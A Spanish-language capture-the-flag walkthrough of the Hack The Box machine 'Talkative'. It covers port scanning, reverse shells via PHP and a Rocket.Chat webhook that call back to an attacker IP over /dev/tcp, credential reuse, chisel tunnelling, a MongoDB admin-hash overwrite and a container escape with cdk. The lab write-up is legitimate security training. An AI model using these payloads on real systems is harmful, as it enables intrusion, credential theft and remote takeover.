Empezamos con el escaneo de nmap sobre los puertos de la máquina
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.11.155 -oG allPorts
Scanning 10.10.11.155 [65535 ports]
Discovered open port 8080/tcp on 10.10.11.155
Discovered open port 80/tcp on 10.10.11.155
Discovered open port 8081/tcp on 10.10.11.155
Discovered open port 3000/tcp on 10.10.11.155
Discovered open port 8082/tcp on 10.10.11.155
Nmap scan report for 10.10.11.155
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 62
3000/tcp open ppp syn-ack ttl 62
8080/tcp open http-proxy syn-ack ttl 62
8081/tcp open blackice-icecap syn-ack ttl 62
8082/tcp open blackice-alerts syn-ack ttl 62
1
2
3
4
5
6
7
8
9
Explicación:
-sS: TCP SYN port scan
-p-: todo el rango de puertos (0-65535)
--open: filtrar por puertos con status open
--min-rate 5000: que envie como mínimo 5000 por segundo
-vvv: para que te reporte los puertos abiertos antes de que termine el escaneo
-n: para que no te aplique resolución DNS
-Pn: para que no te aplique resolución de hosts através del protocolo de resolución de direcciones (ARP)
-oG: para que te exporte la información en formato grepeable
Como está el puerto 80 abierto podemos ir directamente a la web pero nos redirige a un dominio, esto lo podemos comprobar con curl
1
2
3
4
5
6
7
8
❯ curl 10.10.11.155
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://talkative.htb">here</a>.</p>
<hr>
</body></html>
En el puerto 80 no encontramos nada interesante, podemos ir al puerto 8080 a ver su contenido
Podemos ver que hay una aplicación de Hoja de cálculo normal, tenemos disponible un editor que nos permite ejecutar código, vamos a intentar ejecutar una reverse shell, ya que esta web ejecuta código PHP
En este caso voy a usar esta reverse shell:
system('bash -c "bash -i >& /dev/tcp/10.10.14.75/1234 0>&1"')
Nos llega una reverse shell de un contenedor, no podemos entrar desde aquí a la máquina real pero podemos revisar los archivos de la máquina
1
2
3
4
5
6
7
8
9
10
❯ sudo nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.11.155] 45940
root@b06821bbda78:/# whoami
whoami
root
root@b06821bbda78:/# hostname -I
hostname -I
172.18.0.2
root@b06821bbda78:/#
Encontramos el archivo /root/bolt-administration.omv
, no tenemos nada dentro de la máquina para poder descargar este archivo en nuestra máquina, podemos usar pwncat-cs para descargarlo directamente cuando nos llega la reverse shell
Una vez descargado podemos ver que contiene usuarios y contraseñas, creamos una expresión regular para poder filtrar por los que nos interesa, finalmente quedaría así:
1
2
3
4
5
6
matt
janit
saul
jeO09ufhWD<s
bZ89h}V<S_DA
)SQWGm>9KHEA
Haciendo Fuzzing sobre el dominio podemos encontrar el directorio bolt que contiene una página de inicio de sesión, podemos probar las crendenciales que hemos encontrado anteriormente a ver si las reutilizan aquí
El usuario admin funciona con la contraseña jeO09ufhWD<s
, así que iniciamos sesión con las credenciales
Una vez iniciada la sesión podemos ver un apartado de configuración, dentro hay un apartado llamado All Configuration Files
, vamos a ver su contenido
Podemos ver un archivo llamado Bundle.php
, como la web interpreta PHP podemos usar la reverse shell anterior para meternos a la máquina
1
2
3
<?php
system('bash -c "bash -i >& /dev/tcp/10.10.14.75/1234 0>&1"')
?>
Nos ponemos en escucha con Netcat y nos llega una reverse shell como www-data en un contenedor
1
2
3
4
5
6
❯ sudo nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.11.155] 57846
www-data@b922262b694b:/var/www/talkative.htb/bolt/public$ hostname -I
hostname -I
172.17.0.15
Esto no nos da mucha información, podemos probar las credenciales encontradas anteriormente por SSH desde el propio contenedor
1
2
3
4
5
6
7
www-data@b922262b694b:/var/www/talkative.htb/bolt/public$ ssh saul@172.17.0.1
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
saul@172.17.0.1 password: jeO09ufhWD<s
saul@talkative:~$ whoami
saul
saul@talkative:~$ cat user.txt
cd8c******cb258c950d9edcc065
Con pspy descubrimos este proceso
1
CMD: UID=0 PID=4894 | /bin/sh -c python3 /root/.backup/update_mongo.py
El cual es un script que actualiza la base de datos mongo, el puerto de mongo está abiero así que podemos tunelizar la conexión para poder conectarnos a la base de datos remotamente
1
2
saul@talkative:~$ netstat -nat
tcp 0 0 172.17.0.1:43752 172.17.0.2:27017 TIME_WAIT
Con chisel tunelizamos la conexión hacia nuestra máquina
Máquina atacante:
1
2
3
4
❯ chisel server --reverse --port 8000
2022/08/30 17:21:20 server: Reverse tunnelling enabled
2022/08/30 17:21:20 server: Fingerprint 4iFocLbXWmRvOoiAYCwK9t8TfvcH6MJOSR1ngLYhgoM=
2022/08/30 17:21:20 server: Listening on http://0.0.0.0:8000
Máquina víctima:
1
2
3
saul@talkative:~$ ./chisel client 10.10.14.75:8000 R:27017:172.17.0.2:27017
2022/08/30 15:25:37 client: Connecting to ws://10.10.14.75:8000
2022/08/30 15:25:37 client: Connected (Latency 38.916105ms)
Ahora podemos intentar conectarnos a mongoDB e intentar cambiar la contraseña del usuario administrador de la web
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rs0 [direct: primary] test> show databases
admin 104.00 KiB
config 124.00 KiB
local 11.69 MiB
meteor 4.91 MiB
rs0 [direct: primary] test> use meteor
switched to db meteor
rs0 [direct: primary] meteor> db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })
{
acknowledged: true,
insertedId: null,
matchedCount: 1,
modifiedCount: 1,
upsertedCount: 0
}
Ahora como tenemos tunelizada la conexión tenemos que meternos por el puerto 8000 el cual está abierto en la máquina a la que nos estamos conectando con Chisel
Podemos ir al apartado de Administración>integraciones para crear una nueva integración
Nueva integración>WebHook entrante
1
2
3
4
5
Habilitado: Verdadero
Nomb: Shell
Canal: #general
Publicar como: admin
script habilitado: verdadero
Vamos a usar la primera línea de este exploit , finalmente queda algo así
1
2
const require = console.log.constructor('return process.mainModule.require')();
require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.10.14.75/1234 0>&1"');
Lo guardamos y hacemos un curl a la URL del webhook con el token que nos pone en la integración que hemos creado
1
2
❯ curl http://talkative.htb:3000/hooks/hA7ZNgGYHtRhpYBjH/CsNw6amXPMXR4PH9SANT7cyrFaDwhMpLNiiCwHzX9gCfwXcc
{"success":false}
Aunque ponga false nos llega la reverse shell, seguimos en un contenedor y no podemos descargar archivos de la máquina desde dentro
1
2
3
4
5
6
❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.11.155] 57468
root@c150397ccd63:/app/bundle/programs/server# hostname -I
hostname -I
172.17.0.3
Ahora con pwncat-cs nos ponemos en escucha, ejecutamos el comando de curl de antes y con cdk leemos archivos de la máquina real, podemos leer directamente la flag.
1
2
3
4
5
6
7
8
9
10
11
12
❯ pwncat-cs -lp 1234
[17:41:55] Welcome to pwncat 🐈!
(local) pwncat$ upload cdk /root/cdk
/root/cdk
[17:42:12] uploaded 11.91MiB in 6.67 seconds
(local) pwncat$ back
(remote) root@c150397ccd63:/app/bundle/programs/server# cd /root
(remote) root@c150397ccd63:/root# chmod +x cdk
(remote) root@c150397ccd63:/root# ./cdk run cap-dac-read-search /root/root.txt
Running with target: /root/root.txt, ref: /etc/hostname
57ebcfafa23a47da6507a95d1307beff
(remote) root@c150397ccd63:/root#
Con esto terminamos la máquina Talkative.